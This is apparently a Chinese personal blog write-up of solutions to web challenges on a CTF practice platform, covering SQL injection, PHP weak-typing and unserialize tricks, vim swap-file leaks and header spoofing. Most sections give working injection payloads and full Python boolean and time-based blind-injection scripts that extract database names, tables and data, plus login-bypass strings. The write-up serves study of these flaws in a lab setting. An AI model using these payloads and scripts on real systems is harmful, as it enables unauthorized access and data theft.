做了实验吧的题后感觉收获颇丰,特别是几道sql注入题,自己也总结出了一些解决sql注入题的思路:

  1. 首先要用单引号、’or’1’=’1等来测试是否有sql注入
  2. 对于有过滤或waf的注入,要先fuzz,根据过滤字符的情况以及回显的内容来选择注入方法。如有报错和无报错来选择报错注入或盲注

自己做了一个流程图,做的很丑。。内容也是自己一时想的,不是很全面,只是这次做题碰到的情况

Alt text

目录:

后台登录

打开链接发现一个输入框,要求输入管理员的密码来登录,先查看一下源代码,在其中发现一段php代码

$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
	echo 'flag is :'.$flag;
}
else{
	echo '密码错误!';
}

这道题的思路肯定是来构造sql万能密码来进行登录,但输入的密码被md5加密后才放入sql语句中

在php中MD5函数的第二个参数如果为true时返回原始 16 字符二进制格式,如果为false(默认)则返回32 字符十六进制数

那么我们可以尝试使用一个经MD5函数处理后会包含or的字符串,题目url中的“ffifdyop”便是符合要求的字符串

ffifdyop经MD5后为:276f722736c95d99e921722cf9ed621c

再用16进制转字符串得到:’or’6�]��!r,��b

因此我们密码输入ffifdyop,提交得到flag


你真的会PHP吗?

打开题目链接发现只有一句have fun!,那么在其他地方肯定有提示

最后发现hint在响应头中,提示访问6c525af4059b4fe7d8c33a.txt,得到php的源码

<?php

$info = ""; 
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false); 
error_reporting(0); 

if(!isset($_POST['number'])){
   header("hint:6c525af4059b4fe7d8c33a.txt");

   die("have a fun!!"); 
}

foreach([$_POST] as $global_var) { 
    foreach($global_var as $key => $value) { 
        $value = trim($value); 
        is_string($value) && $req[$key] = addslashes($value); 
    } 
} 

function is_palindrome_number($number) { 
    $number = strval($number); 
    $i = 0; 
    $j = strlen($number) - 1; 
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 

if(is_numeric($_REQUEST['number'])){ // 要求number不能是数字
     $info="sorry, you cann't input a number!";
}elseif($req['number']!=strval(intval($req['number']))){ // 要求number转换为整形后要与传入的值相等
     $info = "number must be equal to it's integer!! ";  
}else{

     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  

     if($value1!=$value2){ // number必须为回数
          $info="no, this is not a palindrome number!";
     }else{
          
          if(is_palindrome_number($req["number"])){ // number不能为回数
              $info = "nice! {$value1} is a palindrome number!"; 
          }else{
             $info=$flag;
          }
     }

}

echo $info;
?>

审计代码,主要有以下几点要求:

  1. 传入的number不能为数字
  2. number转换为整型后要与传入值相等
  3. number必须是回数(及reverse之后和原数字相等,如:123321)
  4. number不能是回数

第一、二点我们可以将%00%20加到数字中来绕过is_numeric()函数

第三、四点看起来明显是矛盾的,但还是有办法来绕过,此时我们有两种思路:

首先是利用数值过大溢出的特点,32位系统int的范围是-2147483648~2147483647

当我们传入2147483647%20时,首先会绕过1、2两点,经reverse后会得到7463847412,此时超出了系统int值的上限,当比较时7463847412会自动转换为2147483647,而此时2147483647经is_palindrome_number()验证并不是一个回数,成功绕过

第二个思路我们可以传入-0%20,此时被intval函数转换后两者都为0,value1=value2的条件满足;而is_palindrome_number()来验证-0也不是一个回数(因为-0和0-不相同),即可绕过


因缺思汀的绕过

打开题目链接是两个输入框,右键查看源码发现有提示:source.txt

查看source.txt来得到php的源码:

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
	echo '<form action="" method="post">'."<br/>";
	echo '<input name="uname" type="text"/>'."<br/>";
	echo '<input name="pwd" type="text"/>'."<br/>";
	echo '<input type="submit" />'."<br/>";
	echo '</form>'."<br/>";
	echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "水可载舟,亦可赛艇!";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
	die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
	print "一颗赛艇!";
}
mysql_close($con);
?>

首先AttackFilter()函数采用黑名单,过滤掉了POST的uname参数中的and、select、from、where、union、join、sleep、benchmark、,、(、)

输出flag的要求是我们输入的用户密码必须是从数据库返回的对应用户名的密码,那么只能通过注入了

由于许多关键字都被过滤,我们可以考虑使用mysql的with rollup,使用它会在该列数据最后添加一个NULL值,我在本地的mysql命令行测试了一下:

mysql> select * from user;
+---------+-------+------+-------+----------+-----------+
| user_id | name  | nick | email | password | lastlogin |
+---------+-------+------+-------+----------+-----------+
|       1 | admin |      |       | admin    |         0 |
+---------+-------+------+-------+----------+-----------+

mysql> select password from user where name='admin' group by password with rollup;
+----------+
| password |
+----------+
| admin    |
| NULL     |
+----------+
2 rows in set (0.00 sec)

mysql> select password from user where name='admin' group by password with rollup limit 1;
+----------+
| password |
+----------+
| admin    |
+----------+
1 row in set (0.00 sec)

mysql> select password from user where name='admin' group by password with rollup limit 1 offset 1;
+----------+
| password |
+----------+
| NULL     |
+----------+
1 row in set (0.00 sec)

因此我们可以构造:

’ or 1=1 group by pwd with rollup limit 1 offset 2 #

这句sql首先通过with rollup在pwd列的最后添加一个null值,然后限制只返回一行数据,并且用offset限制从第三行开始读(经测试offset为1时是不成功的,因此表中应该原本有两行数据)

这样我们密码留空,登录即可获得flag


加了料的报错注入

打开链接提示要传入usernamepassword参数,右键查看源代码中已经提示了sql语句为:

$sql="select * from users where username='$username' and password='$password'";

既然题目已经说是报错注入了,那么我们先fuzz一波看过滤了哪些敏感字符

username参数过滤了– 、#、union、mid、substr、=、()等

password参数过滤了–、#、union、updatexml、substr、mid、=等

综合这两个参数,既然都过滤了union,那么报错注入可以采用updatexml()来进行,我们可以在username中写updatexml的函数名,然后注释掉中间的语句,再在username中写后面的sql语句。还要注意写select语句时’=’可以用regexp来代替

最终的payload为:

//爆数据库名error_based_hpf
username=1'and updatexml/*&password=1*/(1,concat(0x3a,database()),1) or'

//爆表名ffll44jj,users
username=1'and updatexml/*&password=1*/(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf')),1) or'

//爆列名value
username=1'and updatexml/*&password=1*/(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')),1) or'

//爆数据flag{err0r_b4sed_sqli_+_hpf}
username=1'and updatexml/*&password=1*/(1,concat(0x3a,(select value from ffll44jj)),1) or'

刚开始踩了一个坑。。每个payload最后没加or ‘

需要加or的原因是我们输入的payload插入到sql语句中,然后再去掉注释是这样的:

select * from users where username=''and updatexml(1,concat(0x3a,database()),1) or''

因为password参数里最后还有一个单引号,此时各种单行注释符也被过滤掉了,因此我们要再用一个单引号闭合掉它;但如果语句最后只有一对单引号的话还是会报错,因此需要添加一个or


认真一点

打开链接仍是一个登录框,先尝试输入1和0

当输入1时,回显的是You are in …………….

当输入0时,回显的是You are not in ……………

我们先来判断一下是否存在注入:首先传入一个单引号报错了,再传入1’or’1回显正确,再传入0’or’1发现竟然回显错误;猜测此处应该是对or做了处理,应该是被str_replace()处理了,再传入0’oorr’1试试,发现回显正确,那么我们的猜测应该是正确的

这已经很明显是一个回显true/false的盲注,而且fuzz一波之后发现这里还存在waf

当输入非法字符(此处主要过滤了#、substr、空格、and、逗号等)时会回显:Sql injection detected!

那么我们可以写python的盲注脚本了,payload中包含or的都要用Oroorr来代替,空格被过滤我们可以用括号来代替,过滤了逗号和substr那么就用mid()函数

import requests

s = requests.session()
chars = "abcdefghijklmnopqrstuvwxyz~!@#$%^&*()_+|\":{}<>?1234567890-=[]\;',./"
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
result = ""
true_status = "You are in"

for i in range(1, 30):
	for j in chars:
		payload = "0'oorr((mid(database()from({})foorr(1)))='{}')oorr'0".format(i, j)
		data = {
		'id':payload
		}
		res = s.post(url, data = data)
		r = res.text
		if true_status in r:
			print(j)
			result += str(j)
			break
print(result)

# payload = "0'oorr((mid(database()from({})foorr(1)))='{}')oorr'0".format(i, j)

# payload = "0'oorr((mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='ctf_sql_bool_blind'))from({})foorr(1)))='{}')oorr'0".format(i, j)

# payload = "0'oorr((mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from({})foorr(1)))='{}')oorr'0".format(i, j)

# payload = "0'oorr((mid((select(group_concat(fl$4g))from(fiag))from({})foorr(1)))='{}')oorr'0".format(i, j)

我的脚本写的很烂。。后来没有字符的地方结果都被*代替了(我也不知道为什么)

脚本跑出来的flag为:flag{haha~you*win!}

但拿去提交发现不对,后来看了一下大佬的wp,原来是id过滤了空格,此处就会跑出一个错误的*,其实这里是一个空格

最终正确flag:flag{haha~you*win!}


登陆一下好吗?

这道题界面叫做实验吧登录系统,有username和password两个输入框

先username=1&passoword=1试一下回显什么,提交后发现回显为

对不起,没有此用户!! hint: username:1 password:1

再尝试username=1’or’1’=’1#&password=1,此时回显为:

对不起,没有此用户!! hint: username:1’‘1’=’1 password:1

很明显or#过滤掉了,而且使用Or和oorr也无法绕过,经过尝试发现还过滤了union、select、|、–、/**/等字符

后台的sql语句应该是这样的:

select * from [表名] where username='$_POST[username]' and password='$_POST[password]';

此时注释符什么的都被过滤了,我们还不知道用户名和密码,要让语句返回正确的话这里我们可以利用mysql的一个双等绕过。先看一下payload插入后的sql语句:

select * from [表名] where username='1'='' and password='1'='';

(select * from [表名] where username='1')='' and (password='1')='';

这里利用的是等号比较时false=null的特点,为了方便理解我对sql语句加上了括号

第一个括号里的语句返回的肯定是false(用户不存在),让他等于空字符(‘‘)就相当于false=null,第二个语句同理

我在mysql的命令行中测试了一下,是可以返回正确数据的

mysql> select * from user;
+---------+-------+------+-------+----------+-----------+
| user_id | name  | nick | email | password | lastlogin |
+---------+-------+------+-------+----------+-----------+
|       1 | admin |      |       | admin    |         0 |
+---------+-------+------+-------+----------+-----------+
1 row in set (0.15 sec)

mysql> select * from user where name='' and password='';
Empty set (0.00 sec)

mysql> select * from user where name='1'='' and password='1'='';
+---------+-------+------+-------+----------+-----------+
| user_id | name  | nick | email | password | lastlogin |
+---------+-------+------+-------+----------+-----------+
|       1 | admin |      |       | admin    |         0 |
+---------+-------+------+-------+----------+-----------+
1 row in set (0.00 sec)

因此最终的payload为:

username=1'='&password=1'='

who are you?

这个题的提示是:“我要把攻击我的人都记录db中去!”,打开题目链接,直接显示了:

your ip is :xxx.xxx.xx.xx

回显了我的ip地址,看来这里应该是接收的http头中的X-Forwarded-For参数,用burp抓包添加X-Forwarded-For并赋值为127.0.0.1,可以看到成功回显:

your ip is :127.0.0.1

既然提示说的是要记录到数据库中,那么后台接收我们的ip肯定使用INSERT INTO插入到数据库中

关于回显过来的ip,我认为有两种情况:一是直接读取http头中的x-forwarded-for的值并输出;二是将ip插入到数据库后再查询出来

但不管哪种情况,我们在对X-Forwarded-For注入时应该是都没有回显的,而且不会有布尔的提示让我们判断sql语句是否正确,那么我们就采用基于时间的盲注

原本是打算用if语句和substr结合来进行注入,但此处过滤掉了逗号,而且逗号后的内容会被截断

那么我们就用case…when exp then … else 1 end来代替if,用from n for n来代替substr中的逗号

python脚本如下:

import requests

s = requests.session()
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUUVWXYZ~!@#$%^&*()_+|\":{}<>?1234567890-=[]\;',./ "
result = ""

for i in range(1, 40):
	for j in chars:
		payload = "1'and case when ascii((substr((select database())from {} for 1)))={} then sleep(5) else 1 end and '1'='1 --#".format(i, ord(j))
		header = {
		'X-Forwarded-For': payload
		}
		r = s.get(url, headers = header)
		time = r.elapsed.total_seconds()
		print(j + "~~" + str(time))
		if time > 5 and time <=6:
			result += j
			break;
	print(result)

# payload = "1'and case when (ascii(substr((select database())from {} for 1)))={} then sleep(5) else 1 end and '1'='1 --#".format(i, ord(j))

# payload = "1'and case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='web4')from {} for 1)))={} then sleep(5) else 1 end and '1'='1 --#".format(i, ord(j))

# payload = "1'and case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag')from {} for 1)))={} then sleep(5) else 1 end and '1'='1 --#".format(i, ord(j))

# payload = "1'and case when (ascii(substr((select group_concat(flag) from flag)from {} for 1)))={} then sleep(5) else 1 end and '1'='1 --#".format(i, ord(j)) 

简单的sql注入

界面只有一个输入框,上面的文字写着“到底过滤了什么东西?”

输入1’,报错了,再输入1’or’1,回显了所有用户名,看来这是过滤了一些敏感字符和sql查询关键字的,那么就来尝试到底过滤了哪些字符

尝试了许多输入,首先可以确认的是注释符–、#被过滤掉了(/**/没有被过滤)

1’union1会正常报错回显出union,而到真正写语句的时候(如1’union select….)时就会出现不正常的报错(union什么的没有回显)

那么很有可能是把空格给过滤掉了,但尝试输入1 union仍回显的是1 union,再尝试1 union 1,发现回显的是1 1

看来此处不是过滤了union这些,而是删除了两个空格之间的内容(从上面尝试看来应该是删除了中间的内容和一个空格)

那么我们就可以尝试用/**/来代替空格。注释符没有办法使用,但可以通过构造闭合掉后面的单引号同时还要返回true的sql语句,由于每次返回的只有用户名,可以推断字段数应该是1,因此payload如下:

//爆数据库名 web1
1'union/**/select/**/database()'

//爆表名 flag
1'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_table_schemaschema='web1

//爆列名 flag
1'union/**/select/**/columcolumn_namen_name/**/from/**/information_schinformation_schema.columnsema.columns/**/where/**/table_name='flag

//爆数据 flag{Y0u_@r3_5O_dAmn_90Od}
1'union/**/select/**/flag/**/from/**/flag/**/where/**/1/**/or'

需要注意的是在爆列名的时候,此处还过滤掉了整个information_schema.columns和column_name(我一开始以为只过滤了column,但尝试后发现并不是),此处双写即可绕过

还有另一种sql语句,这个跟与前面的语句是一个意思(这个在下道题里会用到),当where后跟1时(或者说为true时)返回的是全部数据

// 爆数据库名 web1
1'union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/1/**/or'

//爆表名 flag
1'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/1/**/or'

//爆列名 flag
1'union/**/select/**/columncolumn_name_name/**/from/**/informationinformation_schema.columns_schema.columns/**/where/**/1/**/or'

//爆数据 flag{Y0u_@r3_5O_dAmn_90Od}
1'union/**/select/**/flag/**/from/**/flag/**/where/**/1/**/or'

简单的sql注入2

这道题跟上一道差不多,这里加了类似于waf的东西,输入非法字符会提示”SQLi detected!”

但这道题我有个疑问,第一次在fuzz时明显空格、select、+、()都会被waf过滤掉,这样既不能使用联合查询也不能用updatexml等函数

但实际上当select被包裹在注释符/**/中时,是不会报”SQLi detected!”的,那这次只不过是不能使用括号了,payload和上一题基本一样

1'union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/1/**/or'

1'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/1/**/or'

1'union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/1/**/or'

1'union/**/select/**/flag/**/from/**/flag/**/where/**/1/**/or'

简单的sql注入3

这次先用1和0来测试,输入1时回显Hello!,输入0时没有任何反应,输入非法字符时会回显Don’t

那么显然是布尔盲注了,fuzz之后发现之前过滤的空格、注释符什么的没有被过滤,反而是updatexml,sleep,floor被waf给ban了

这次substr没有被过滤,写了一个python脚本来跑

import requests

s = requests.session()
url = "http://ctf5.shiyanbar.com/web/index_3.php"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUUVWXYZ~!@#$%^&*()_+|\":{}<>?1234567890-=[]\;',./ "
true_status = "Hello!"
result = ""

for i in range(1, 50):
	for j in chars:
		payload = "1'and (ascii(substr((select database()),{},1)))={} -- #".format(i, ord(j))
		param = {
		'id': payload
		}
		res = s.get(url, params = param)
		r = res.text
		if true_status in r:
			result += j
			break
	print("result = " + result)

# payload = "1'and (ascii(substr((select database()),{},1)))={} -- #".format(i, ord(j))

# payload = "1'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='web1'),{},1)))={} -- #".format(i, ord(j))  
 
# payload = "1'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{},1)))={} -- #".format(i, ord(j)) 
 
# payload = "1'and (ascii(substr((select group_concat(flag) from flag),{},1)))={} -- #".format(i, ord(j))

这次又踩到坑了。。我第一次脚本里的payload中没有使用ascii()函数来比较,跑出的flag中字母大小写跟正确的flag不同,提交不成功

后来修改为比较ascii码,成功跑出正确的flag

以后需要注意写脚本最好要用比较ascii码的方式(特别是爆flag的payload),这样可以较好的区别大小写字母


拐弯抹角

一打开题目界面就是php的代码,我们先审计一下:

 <?php
// code by SEC@USTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';

$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0;

//这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
    $flag = "";
    $stop = 1;        //Pass
}

//第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
    $flag = "";
    $stop = 2;        //Pass
}

//第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
    $flag = "";
    $stop = 3;        //Pass
}

//第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
    $flag = "";
    $stop = 4;        //Pass
}

//第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
    $flag = "";
    $stop = 5;        //Not Pass
}

//第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
    $flag = "";
    $stop = 6;        //Not Pass
}

//第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
    $flag = "";
    $stop = 7;        //Not Pass
}
if(!$stop) $stop = 8;

echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
    $code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
    $code = str_replace('//Pass '.$i, '//Not Pass', $code);


echo highlight_string($code, TRUE);

echo '</body></html>'; 

出题人的要求其实就是通过除了/indirection/index.php以外的其他方法来读取index.php

中间写了许多限制条件,这里我们可以利用伪静态来绕过,如

/indirection/index.php/a/index.php

这里a会被认为是参数名,index.php被认为是参数a的值

因此payload为/indirection/index.php/a/index.php


天网管理系统

打开是一个登录界面,用户名和密码竟然都写在上面,但提交没有什么反应

右键查看源代码,发现一段注释里有php的代码:

$test=$_GET['username']; $test=md5($test); if($test=='0') 

条件是提交username经md5加密后结果要等于零,那么就传入那些MD5加密后为0eXXXXX的字符串即可

这里username传入QNKCDZO,提交后回显出:

/user.php?fame=hjkleffifer

访问后显示的是:

$unserialize_str = $_POST['password'];
     $data_unserialize = unserialize($unserialize_str);
     if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
     {
       print_r($flag);
     }
伟大的科学家php方言道成也布尔败也布尔
回去吧骚年

这里php的代码条件是,传入的password经反序列化为一个数组,其中user和pass对应的值要等于某两个未知字符串

提示中也说到布尔了,php弱类型比较里有一种情况,当字符串与布尔值的true比较时会返回true,因此我们在本地序列化一个user和pass都为true的数组

<?php
$a = array('user' => true, 'pass' => true);
$b = serialize($a);
echo $b;
?>

得到:a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}

将其作为password传入后得到flag


忘记密码了

打开界面是一个输入邮箱找回密码的界面,先输入一个1试一下,弹窗显示:

你邮箱收到的重置密码链接为 ./step2.php?email=youmail@mail.com&check=???????

右键查看一下源代码,这里有两个关键点:

<meta name="admin" content="admin@simplexue.com" />
<meta name="editor" content="Vim" />

首先我们得到了管理员的邮箱admin@simplexue.com,还知道了这些代码是用Vim来写的

先把管理员邮箱提交一下看会怎样,结果却显示:

邮件发到管理员邮箱了,你看不到的

那我们根据第一次的报错构造链接./step2.php?email=admin@simplexue.com&check=1来访问会如何呢?

尝试了几次总感觉显示了什么但又跳转回step1.php了,用burp抓包看一下

这里看到step2.php是让输入email和token,查看源代码发现表单传参到submit.php

刚才我们知道了代码是用vim来写的,vim非正常关闭时会在目录下产生扩展名为.swp的文件,用来再次打开时恢复文件内容。我们来访问一下.submit.php.swp(注意swp文件在linux中是隐藏属性,前面要加.),果然可以下载

得到submit.php的源码

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail');
	if($token!='0') die('fail');
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){
		echo $flag;
	}else{
		echo "失败了呀";
	}
}

这里get flag有2个条件:

  1. token的长度为10
  2. token要等于’0’

这两点很好满足,我们可以用科学计数法0e11111111来绕过

因此最终在email中传入admin@simplexue.com,token传入0e11111111即可获得flag


Guess Next Session

这个题要求输入下一个数字,下面有个button直接可以查看源码

<?php
session_start(); 
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p>Wrong guess.</p>';
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

这个题目有一个提示:

你确定你有认真看判断条件?

因此我们把重点放在get flag的条件上

if ($_GET['password'] == $_SESSION['password'])

当传入的password和session中的password相等时就会echo出flag

我们首先要知道session是储存在服务器端的凭证,客户端每次要用自己的sessionID来请求对应服务器端的session,而sessionID就在http请求头的cookie中

因此我们可以删除cookie中的PHPSESSID,这样token就为空了,再传入值为空的password参数,即可得到flag


NSCTF web200

这道题给了一个密文和一段加密代码:

密文:a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws

<?php
function encode($str){
    $_o=strrev($str);
    for($_0=0;$_0<strlen($_o);$_0++){
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;
    }
    return str_rot13(strrev(base64_encode($_)));
}

按照加密代码写对应的解密代码即可:

<?php
function decode($str) {
	$_ = '';
	$_o = strrev(base64_decode(strrev(str_rot13($str))));
	for ($_0 = 0; $_0 < strlen($_o); $_0++){
		$_c = substr($_o, $_0, 1);
		$__ = ord($_c) - 1;
		$_c = chr($__);
		$_ = $_ . $_c;
	}
	return $_;
}

$data = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
echo decode($data);
?>

头有点大

这道题有点意思,学到了http头中user-agent的一个新内容

打开页面是这样的提示:

Forbidden

You don’t have permission to access / on this server.

Please make sure you have installed .net framework 9.9!

Make sure you are in the region of England and browsing this site with Internet Explorer

一开始我只关注了必须要是英国地区和IE浏览器,修改了Accept-Language为en-db,user-agent为Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0),提交过去始终没有flag

后来才发现.net framework 9.9竟然也是一个条件,查了一下这个的标志是再user-agent后添加.NET CLR 9.9

因此最终的http头参数为:

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0);.NET CLR 9.9

Accept-Language: en-gb


猫抓老鼠

这题进去后只有一个提示Input your pass key的输入框,右键查看源代码没有收获,再看一下http头,发现Content-Row:MTU2MDQ2MTQzNQ==这个参数很可疑,而且它的值应该是base64,拿去解码得到1560461435,提交竟然不成功。。

后来看了大佬们的wp都是直接抓包提交base64过去就get flag了,可我在burp中试了好几次都不行,然后突然发现这个Content-Row的值每刷新一次都会改变!因此我每次提交过去时已经不对了

于是写了个python脚本来提交,不知道大佬们为什么可以直接提交成功。。。

import requests

s = requests.session()
url = "http://ctf5.shiyanbar.com/basic/catch/"

res1 = s.get(url)
d = res1.headers['Content-Row']
# print(data)
data = {
	'pass_key': d
}
res2 = s.post(url, data = data)
print(res2.text)

看起来有点难

这道题其实还是一个注入题,界面是正常登录界面,先都输入1试一下

回显了:数据库连接失败!

再尝试最常见的admin为用户名,密码仍为1

这次回显的是:登录失败,错误的用户名和密码

又尝试了其他字符发现都回显的是“数据库连接失败!”,看来admin应该是正确的用户名,我们需要通过注入来获取admin的密码

fuzz了一波发现似乎只过滤了select,传入admin’or’1’=’1时没有回显提示,看来联合查询和布尔盲注应该都没办法用了,那么就尝试时间注入

传入admin’ and sleep(5) –+,发现页面延迟了五秒,可以使用时间盲注

python脚本如下:

import requests

s = requests.session()
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUUVWXYZ~!@#$%^&*()_+|\":{}<>?1234567890-=[]\;',./ "
result = ""

for i in range(1, 10):
	for j in chars:
		url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin'and if(((ascii(substr(password,{},1)))={}),sleep(5),1)--+&user=1&action=login".format(i, ord(j))
		res = s.get(url)
		time = res.elapsed.total_seconds()
		print(j + '~~' + str(time))
		if time > 5 and time <= 6:
			result += j
			break
	print(result)

在这里我又又又又又踩坑了(真的菜)。。

第一次我写的脚本中get请求那一部分是这样的:

url = "http://ctf5.shiyanbar.com/basic/inject/index.php"
payload = "admin'and if(((ascii(substr(password,{},1)))={}),sleep(5),1)--+"
params = {
	'admin': payload,
	'pass': 1,
	'action': 'login'
}
res = s.get(url, params = params)

但是明明在burp中测试成功的语句到脚本运行时就不行了

我用wireshark抓了http的包看了一下,url中payload的字符都被urlencode了,我粘贴到浏览器地址栏访问发现有些会转换为字符而有些仍然是url编码,不知道是不是这方面的原因

然后我就把get的传参直接放到原始url中了,直接拿url改参数来跑